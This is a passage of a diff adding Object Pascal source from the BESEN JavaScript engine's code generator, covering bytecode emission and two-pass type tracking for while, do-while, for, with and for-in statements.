Code.GenLocation(ToVisit.Location); + r1:=-1; + Visit(TBESENASTNodeDoStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r2:=r1; + end else if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + + L3:=Code.Here; + CodeGeneratorContext.PopPatchables(L2,L3); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + end; + dec(CodeGeneratorContext.LoopDepth); + end; + bntWHILESTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + inc(CodeGeneratorContext.LoopDepth); + if CodeGeneratorContext.MaxLoopDepth<CodeGeneratorContext.LoopDepth then begin + CodeGeneratorContext.MaxLoopDepth:=CodeGeneratorContext.LoopDepth; + end; + if OptimizeLocals and not HasLabelBreakContinue(TBESENASTNodeWhileStatement(ToVisit).Statement) then begin + + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + PR:=Code.Here; + + // Pass one - Collecting value type differences and generating final code if value types are static + // *** vta = Before first while expression execution and before while statement + // * vtb = Before while expression + // * vtc = After while expression + begin + Code.GenLocation(ToVisit.Location); + + CodeGeneratorContext.PushPatchables(TBESENASTNodeWhileStatement(ToVisit).Target,true); + + vta:=CodeGeneratorContext.VariableGetTypes; + P1:=Code.GenOp(bopJMP,0)+1; + + L1:=Code.Here; + Visit(TBESENASTNodeWhileStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + + L2:=Code.Here; + Code.GenLocation(ToVisit.Location); + + vtb:=CodeGeneratorContext.VariableGetTypes; + Code.GenLabel(P1); + r1:=-1; + Visit(TBESENASTNodeWhileStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r2:=r1; + end else if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + + L3:=Code.Here; + + vtc:=CodeGeneratorContext.VariableGetTypes; + + vtInner:=copy(vta,0,length(vta)); + ResetDifferentValueTypes(vtInner,vtb); + ResetDifferentValueTypes(vtInner,vtc); + + if CodeGeneratorContext.Patchables.CountContinueValueTypesItems>0 then begin + SetLength(CodeGeneratorContext.Patchables.ContinueValueTypesItems,CodeGeneratorContext.Patchables.CountContinueValueTypesItems); + ResetDifferentMultiValueTypes(vtInner,CodeGeneratorContext.Patchables.ContinueValueTypesItems); + end; + + vtEnd:=copy(vtInner,0,length(vtInner)); + if CodeGeneratorContext.Patchables.CountBreakValueTypesItems>0 then begin + SetLength(CodeGeneratorContext.Patchables.BreakValueTypesItems,CodeGeneratorContext.Patchables.CountBreakValueTypesItems); + ResetDifferentMultiValueTypes(vtEnd,CodeGeneratorContext.Patchables.BreakValueTypesItems); + end; + + CodeGeneratorContext.PopPatchables(L2,L3); + + CodeGeneratorContext.VariableSetTypes(vtEnd); + end; + + // Pass two - Generating final loop code if value types are different + if not (AreStrictValueTypesEqual(vta,vtb) and AreStrictValueTypesEqual(vta,vtc) and AreStrictValueTypesEqual(vta,vtInner) and AreStrictValueTypesEqual(vtc,vtEnd)) then begin + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(PR); + + CodeGeneratorContext.VariableSetTypes(vtInner); + + Code.GenLocation(ToVisit.Location); + + CodeGeneratorContext.PushPatchables(TBESENASTNodeWhileStatement(ToVisit).Target,true); + + P1:=Code.GenOp(bopJMP,0)+1; + + L1:=Code.Here; + CodeGeneratorContext.VariableSetTypes(vtInner); + Visit(TBESENASTNodeWhileStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + + L2:=Code.Here; + Code.GenLocation(ToVisit.Location); + + Code.GenLabel(P1); + CodeGeneratorContext.VariableSetTypes(vtInner); + r1:=-1; + Visit(TBESENASTNodeWhileStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r2:=r1; + end else if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + + L3:=Code.Here; + + CodeGeneratorContext.VariableSetTypes(vtEnd); + + CodeGeneratorContext.PopPatchables(L2,L3); + end; + end else begin + // It's extremly type instable global code or the loop body contains labelled break/continue, eo regenerate code for an type instable loop + Code.GenLocation(ToVisit.Location); + CodeGeneratorContext.PushPatchables(TBESENASTNodeWhileStatement(ToVisit).Target,true); + P1:=Code.GenOp(bopJMP,0)+1; + + L1:=Code.Here; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeWhileStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + + Code.GenLabel(P1); + L2:=Code.Here; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Code.GenLocation(ToVisit.Location); + + r1:=CodeGeneratorContext.AllocateRegister; + Visit(TBESENASTNodeWhileStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r2:=r1; + end else if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + + L3:=Code.Here; + CodeGeneratorContext.PopPatchables(L2,L3); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + end; + dec(CodeGeneratorContext.LoopDepth); + end; + bntWITHSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeWithStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r2:=r1; + end else if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueObject(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOOBJECT,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + if r1<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r1); + end; + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + Code.GenOp(bopSWITH,r3); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.BlockEnter; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + OldVarScope:=CodeGeneratorContext.VariableSetAllScope(false); + OldOptimizeLocals:=OptimizeLocals; + OptimizeLocals:=false; + Visit(TBESENASTNodeWithStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + OptimizeLocals:=OldOptimizeLocals; + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent); + CodeGeneratorContext.BlockLeave; + CodeGeneratorContext.VariableSetAllScope(OldVarScope); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + end; + bntFORSTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + inc(CodeGeneratorContext.LoopDepth); + if CodeGeneratorContext.MaxLoopDepth<CodeGeneratorContext.LoopDepth then begin + CodeGeneratorContext.MaxLoopDepth:=CodeGeneratorContext.LoopDepth; + end; + if OptimizeLocals and not HasLabelBreakContinue(TBESENASTNodeForStatement(ToVisit).Statement) then begin + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + PR:=Code.Here; + + // Pass one - Collecting value type differences and generating final code if value types are static + // *** vta = Before initial expression + // * vtb = After conditional expression and before statement + // * vtc = After before statement and before increment expression + // * vtd = After increment expression and before conditional expression + // * vte = After conditional expression + begin + CodeGeneratorContext.PushPatchables(TBESENASTNodeForStatement(ToVisit).Target,true); + + vta:=CodeGeneratorContext.VariableGetTypes; + if assigned(TBESENASTNodeForStatement(ToVisit).Initial) then begin + Code.GenLocation(ToVisit.Location); + PR2:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[1]); + vtTemp:=CodeGeneratorContext.VariableGetTypes; + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,true); + if (r1>=0) and (TBESENASTNodeForStatement(ToVisit).Initial.NodeType<>bntVARIABLEEXPRESSION) then begin + if not (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + Code.Restore(PR2); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + + P1:=Code.GenOp(bopJMP,0)+1; + + vtb:=CodeGeneratorContext.VariableGetTypes; + L1:=Code.Here; + if assigned(TBESENASTNodeForStatement(ToVisit).Statement) then begin + Code.GenLocation(ToVisit.Location); + Visit(TBESENASTNodeForStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + end; + + vtc:=CodeGeneratorContext.VariableGetTypes; + L2:=Code.Here; + if assigned(TBESENASTNodeForStatement(ToVisit).Increment) then begin + Code.GenLocation(ToVisit.Location); + PR2:=Code.Here; + vtTemp:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[1]); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,true); + if r1>=0 then begin + if not (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + + vtd:=CodeGeneratorContext.VariableGetTypes; + Code.GenLabel(P1); + Code.GenLocation(ToVisit.Location); + if assigned(TBESENASTNodeForStatement(ToVisit).Condition) then begin + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Condition,r1,true); + if r1>=0 then begin + if (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end else begin + Code.GenOp(bopJMP,L1); + end; + end else begin + Code.GenOp(bopJMP,L1); + end; + L3:=Code.Here; + + vte:=CodeGeneratorContext.VariableGetTypes; + + vtBegin:=copy(vta,0,length(vta)); + + vtInner:=copy(vtb,0,length(vtb)); + ResetDifferentValueTypes(vtInner,vtc); + ResetDifferentValueTypes(vtInner,vtd); + ResetDifferentValueTypes(vtInner,vte); + + if CodeGeneratorContext.Patchables.CountContinueValueTypesItems>0 then begin + SetLength(CodeGeneratorContext.Patchables.ContinueValueTypesItems,CodeGeneratorContext.Patchables.CountContinueValueTypesItems); + ResetDifferentMultiValueTypes(vtInner,CodeGeneratorContext.Patchables.ContinueValueTypesItems); + end; + + vtEnd:=copy(vtInner,0,length(vtInner)); + if CodeGeneratorContext.Patchables.CountBreakValueTypesItems>0 then begin + SetLength(CodeGeneratorContext.Patchables.BreakValueTypesItems,CodeGeneratorContext.Patchables.CountBreakValueTypesItems); + ResetDifferentMultiValueTypes(vtEnd,CodeGeneratorContext.Patchables.BreakValueTypesItems); + end; + + CodeGeneratorContext.PopPatchables(L2,L3); + + CodeGeneratorContext.VariableSetTypes(vtEnd); + end; + + // Pass two - Generating final loop code if value types are different + if not (AreStrictValueTypesEqual(vta,vtb) and AreStrictValueTypesEqual(vta,vtc) and AreStrictValueTypesEqual(vta,vtd) and AreStrictValueTypesEqual(vta,vte) and AreStrictValueTypesEqual(vta,vtBegin) and AreStrictValueTypesEqual(vta,vtInner) and AreStrictValueTypesEqual(vtc,vtEnd)) then begin + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(PR); + + CodeGeneratorContext.PushPatchables(TBESENASTNodeForStatement(ToVisit).Target,true); + + CodeGeneratorContext.VariableSetTypes(vtBegin); + if assigned(TBESENASTNodeForStatement(ToVisit).Initial) then begin + Code.GenLocation(ToVisit.Location); + PR2:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[1]); + vtTemp:=CodeGeneratorContext.VariableGetTypes; + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,true); + if (r1>=0) and (TBESENASTNodeForStatement(ToVisit).Initial.NodeType<>bntVARIABLEEXPRESSION) then begin + if not (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + + P1:=Code.GenOp(bopJMP,0)+1; + + CodeGeneratorContext.VariableSetTypes(vtInner); + L1:=Code.Here; + if assigned(TBESENASTNodeForStatement(ToVisit).Statement) then begin + Code.GenLocation(ToVisit.Location); + Visit(TBESENASTNodeForStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + end; + + CodeGeneratorContext.VariableSetTypes(vtInner); + L2:=Code.Here; + if assigned(TBESENASTNodeForStatement(ToVisit).Increment) then begin + Code.GenLocation(ToVisit.Location); + PR2:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[1]); + vtTemp:=CodeGeneratorContext.VariableGetTypes; + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,true); + if r1>=0 then begin + if not (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableSetTypes(vtTemp); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + + CodeGeneratorContext.VariableSetTypes(vtInner); + Code.GenLabel(P1); + Code.GenLocation(ToVisit.Location); + if assigned(TBESENASTNodeForStatement(ToVisit).Condition) then begin + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Condition,r1,true); + if r1>=0 then begin + if (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end else begin + Code.GenOp(bopJMP,L1); + end; + end else begin + Code.GenOp(bopJMP,L1); + end; + L3:=Code.Here; + + CodeGeneratorContext.VariableSetTypes(vtEnd); + + CodeGeneratorContext.PopPatchables(L2,L3); + end; + end else begin + // It's extremly type instable global code or the loop body contains labelled break/continue, eo regenerate code for an type instable loop + CodeGeneratorContext.PushPatchables(TBESENASTNodeForStatement(ToVisit).Target,true); + + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + + if assigned(TBESENASTNodeForStatement(ToVisit).Initial) then begin + Code.GenLocation(ToVisit.Location); + PR2:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[1]); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,true); + if (r1>=0) and (TBESENASTNodeForStatement(ToVisit).Initial.NodeType<>bntVARIABLEEXPRESSION) then begin + if not (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Initial,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + P1:=Code.GenOp(bopJMP,0)+1; + + L1:=Code.Here; + if assigned(TBESENASTNodeForStatement(ToVisit).Statement) then begin + Code.GenLocation(ToVisit.Location); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeForStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + end; + + L2:=Code.Here; + if assigned(TBESENASTNodeForStatement(ToVisit).Increment) then begin + Code.GenLocation(ToVisit.Location); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + PR2:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[1]); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,true); + if r1>=0 then begin + if not (IsValue(r1) or IsLocalVariableReference(r1)) then begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[1]); + Code.Restore(PR2); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Increment,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + + Code.GenLabel(P1); + Code.GenLocation(ToVisit.Location); + if assigned(TBESENASTNodeForStatement(ToVisit).Condition) then begin + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + r1:=-1; + Visit(TBESENASTNodeForStatement(ToVisit).Condition,r1,true); + if r1>=0 then begin + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end else begin + Code.GenOp(bopJMP,L1); + end; + end else begin + Code.GenOp(bopJMP,L1); + end; + L3:=Code.Here; + + CodeGeneratorContext.PopPatchables(L2,L3); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + end; + dec(CodeGeneratorContext.LoopDepth); + end; + bntFORINSTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + inc(CodeGeneratorContext.LoopDepth); + if CodeGeneratorContext.MaxLoopDepth<CodeGeneratorContext.LoopDepth then begin + CodeGeneratorContext.MaxLoopDepth:=CodeGeneratorContext.LoopDepth; + end; + Code.GenLocation(ToVisit.Location); + if TBESENASTNodeForInStatement(ToVisit).Variable.NodeType=bntVARIABLEDECLARATION then begin + r1:=-1; + r2:=-1; + if assigned(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier) then begin + Visit(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier,r1,true); + end else begin + Visit(TBESENASTNodeForInStatement(ToVisit).Variable,r1,true); + end; + Visit(TBESENASTNodeForInStatement(ToVisit).Expression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) or IsLocalVariableReference(r2) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r3); + end; + P2:=Code.GenOp(bopJNULL,0,r3)+1; + if IsValueObject(r2) then begin + r4:=r3; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOOBJECT,r4,r3); + if r3<>r4 then begin + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + Code.GenOp(bopSENUM,r4); + r5:=CodeGeneratorContext.AllocateRegister; + CodeGeneratorContext.BlockEnter; + CodeGeneratorContext.PushPatchables(TBESENASTNodeForInStatement(ToVisit).Target,true); + P1:=Code.GenOp(bopJMP,0)+1; + L1:=Code.Here; + r3:=CodeGeneratorContext.AllocateRegister; + Hash:=BESENHashKey(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier.Name); + if CodeGeneratorContext.IsVariableInScope(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier.Name) then begin + if IsLocalVariableReference(r1) then begin + Code.GenOp(bopCOPY,r1,r5); + end else if OptimizeLocals then begin + Code.GenOp(bopLREF,r3,CodeGeneratorContext.VariableID(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier.Name)); + Code.GenOp(bopPUTVALUELOCAL,r3,r5); + end else begin + Code.GenOp(bopVREF,r3,CodeGeneratorContext.VariableID(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier.Name),Hash,Code.GenPolymorphicInlineCacheInstruction,-1,-1,-1,-1); + Code.GenOp(bopPUTVALUEREF,r3,r5); + end; + end else begin + hi:=CodeGeneratorContext.LookupHashMap.GetKey(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier.Name); + if not assigned(hi) then begin + hi:=CodeGeneratorContext.LookupHashMap.NewKey(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier.Name,true); + hi^.Value:=Code.LookupNames.Add(TBESENASTNodeVariableDeclaration(TBESENASTNodeForInStatement(ToVisit).Variable).Identifier.Name); + end; + Code.GenOp(bopLOOKUP,r3,hi^.Value,Hash,Code.GenPolymorphicInlineCacheInstruction); + Code.GenOp(bopPUTVALUEREF,r3,r5); + end; + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeForInStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L2:=Code.Here; + Code.GenLabel(P1); + Code.GenOp(bopLOOPENUM,L1,r5); + L3:=Code.Here; + Code.GenLabel(P2); + CodeGeneratorContext.PopPatchables(L2,L3); + Code.GenOp(bopEND,CodeGeneratorContext.BlockCurrent); + CodeGeneratorContext.BlockLeave; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + CodeGeneratorContext.DeallocateRegister(r6); + end else begin + r2:=-1; + Visit(TBESENASTNodeForInStatement(ToVisit).Expression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) or IsLocalVariableReference(r2) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r3); + end; + P2:=Code.GenOp(bopJNULL,0,r3)+1; + if IsValueObject(r2) then begin + r4:=r3; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOOBJECT,r4,r3); + if r3<>r4 then begin + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + 